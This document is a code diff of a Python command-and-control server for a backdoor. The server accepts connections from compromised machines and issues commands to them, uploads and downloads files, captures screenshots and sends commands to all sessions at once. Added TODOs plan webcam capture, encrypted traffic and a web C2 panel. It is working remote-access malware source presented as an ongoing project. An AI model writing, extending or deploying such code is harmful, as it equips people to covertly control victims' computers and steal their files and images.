1
- #possible dependency
2
- import datetime
3
1
import socket
4
- import termcolor #pip install termcolor
5
- import pyautogui #pip install pylance
2
+ import termcolor
6
3
import json
7
4
import os
8
5
import threading
9
6
7
+ from colour import banner
8
+
9
+
10
10
def reliable_recv (target ):
11
11
data = ''
12
12
while True :
@@ -16,21 +16,25 @@ def reliable_recv(target):
16
16
except ValueError :
17
17
continue
18
18
19
+
19
20
def reliable_send (target , data ):
20
21
jsondata = json .dumps (data )
21
22
target .send (jsondata .encode ())
22
23
23
- #This function is to stop server.py issuing reliable_send if command='help' or 'clear'
24
- #Creates less network traffic.
24
+
25
+ # This function is to stop server.py issuing reliable_send if command='help' or 'clear'
26
+ # Creates less network traffic.
25
27
def exclusion_words (command ):
26
- exclusion_words = ['help' , 'clear' ] # make this global variable
27
- if command == exclusion_words :
28
+ exclusion_words = ['help' , 'clear' ] # make this global variable
29
+ if command == exclusion_words :
28
30
return 1
29
31
32
+
30
33
def upload_file (target , file_name ):
31
34
f = open (file_name , 'rb' )
32
35
target .send (f .read ())
33
36
37
+
34
38
def download_file (target , file_name ):
35
39
f = open (file_name , 'wb' )
36
40
target .settimeout (2 )
@@ -44,11 +48,12 @@ def download_file(target, file_name):
44
48
target .settimeout (None )
45
49
f .close ()
46
50
51
+
47
52
def screenshot (target , count ):
48
53
directory = './screenshots'
49
54
if not os .path .exists (directory ):
50
55
os .makedirs (directory )
51
- f = open (directory + '/screenshot_%d.png' % (count ), 'wb' ) # if target=Linux then #apt-get install scrot
56
+ f = open (directory + '/screenshot_%d.png' % (count ), 'wb' ) # if target=Linux then #apt-get install scrot
52
57
target .settimeout (3 )
53
58
chunk = target .recv (1024 )
54
59
while chunk :
@@ -61,6 +66,16 @@ def screenshot(target, count):
61
66
f .close ()
62
67
count += 1
63
68
69
+
70
+ # TODO: webcam(target) takes a quick webcam image
71
+ # https://stackoverflow.com/a/69282582/4443012
72
+
73
+ # TODO: encrypt()
74
+ # TODO: decrypt() functions using RSA library AES128-GCM
75
+
76
+ # TODO: use Flask to create a frontend UI in the web browser to manage C2 https://github.com/Tomiwa-Ot/moukthar
77
+
78
+
64
79
def server_help_manual ():
65
80
print ('''\n
66
81
quit --> Quit Session With The Target
@@ -86,6 +101,7 @@ def server_help_manual():
86
101
87
102
\n ''' )
88
103
104
+
89
105
def c2_help_manual ():
90
106
print ('''\n
91
107
===Command and Control (C2) Manual===
@@ -98,6 +114,7 @@ def c2_help_manual():
98
114
sendall *command* --> Sends The *command* To ALL Active Sessions (sendall notepad)
99
115
\n ''' )
100
116
117
+
101
118
def target_communication (target , ip ):
102
119
count = 0
103
120
while True :
@@ -123,6 +140,7 @@ def target_communication(target, ip):
123
140
result = reliable_recv (target )
124
141
print (result )
125
142
143
+
126
144
def accept_connections ():
127
145
while True :
128
146
if stop_flag :
@@ -136,7 +154,8 @@ def accept_connections():
136
154
except :
137
155
pass
138
156
139
- #Work in progress (currently 'exit' command is buggy when issued from c2()
157
+
158
+ # Work in progress (currently 'exit' command is buggy when issued from c2()
140
159
def c2 ():
141
160
while True :
142
161
try :
@@ -188,16 +207,17 @@ def c2():
188
207
else :
189
208
print (termcolor .colored ('[!!] Command Doesnt Exist' , 'red' ))
190
209
except (KeyboardInterrupt , SystemExit ):
191
- if ( input ('\n Do you want to exit? yes/no: ' ) == 'yes' ) :
210
+ if input ('\n Do you want to exit? yes/no: ' ) == 'yes' :
192
211
break
193
212
except ValueError as e :
194
213
print ('[!!] ValueError: ' + str (e ))
195
- continue
214
+ continue
196
215
finally :
197
216
sock .close ()
198
217
print ('\n [-] C2 Socket Closed! Bye!!' )
199
218
200
- def exit_c2 (targets ): #function of: elif command == 'exit':
219
+
220
+ def exit_c2 (targets ): # function of: elif command == 'exit':
201
221
for target in targets :
202
222
reliable_send (target , 'quit' )
203
223
target .close ()
@@ -206,20 +226,23 @@ def exit_c2(targets): #function of: elif command == 'exit':
206
226
t1 .join ()
207
227
SystemExit ()
208
228
229
+
209
230
targets = []
210
231
ips = []
211
232
stop_flag = False
212
233
sock = socket .socket (socket .AF_INET , socket .SOCK_STREAM )
213
- sock .bind (('127.0.0.1' , 5555 )) #sudo fuser -k 5555/tcp
234
+ sock .bind (('127.0.0.1' , 5555 )) # sudo fuser -k 5555/tcp
214
235
sock .listen (5 )
215
236
t1 = threading .Thread (target = accept_connections )
216
237
t1 .start ()
238
+ # print(colour.Colour())
239
+ print (banner ())
217
240
print ('Run "help" command to see the usage manual' )
218
241
print (termcolor .colored ('[+] Waiting For The Incoming Connections ...' , 'green' ))
219
242
220
- #c2()
243
+ # c2()
221
244
222
- #Command and control code (legacy)
245
+ # Command and control code (legacy)
223
246
while True :
224
247
try :
225
248
command = input ('[**] Command & Control Center: ' )
@@ -270,14 +293,13 @@ def exit_c2(targets): #function of: elif command == 'exit':
270
293
else :
271
294
print (termcolor .colored ('[!!] Command Doesnt Exist' , 'red' ))
272
295
except (KeyboardInterrupt , SystemExit ):
273
- if ( input ('\n Do you want to exit? yes/no: ' ) == 'yes' ) :
296
+ if input ('\n Do you want to exit? yes/no: ' ) == 'yes' :
274
297
sock .close ()
275
298
print (termcolor .colored ('\n [-] C2 Socket Closed! Bye!!' , 'yellow' ))
276
299
break
277
300
except ValueError as e :
278
301
print (termcolor .colored ('[!!] ValueError: ' + str (e ), 'red' ))
279
- continue
280
-
302
+ continue
281
303
282
304
"""
283
305
Possibly improvements
@@ -287,4 +309,7 @@ def exit_c2(targets): #function of: elif command == 'exit':
287
309
288
310
This will ensure if server.py crashes the backdoor will after 60s will realise server is not listen on socket
289
311
and will attempt to run connection() function again.
290
- """
312
+ """
313
+
314
+ # TODO: encrypt connection
315
+ # TODO: Implement a 'pulse' feature between server and backdoor (Keep alive)
0 commit comments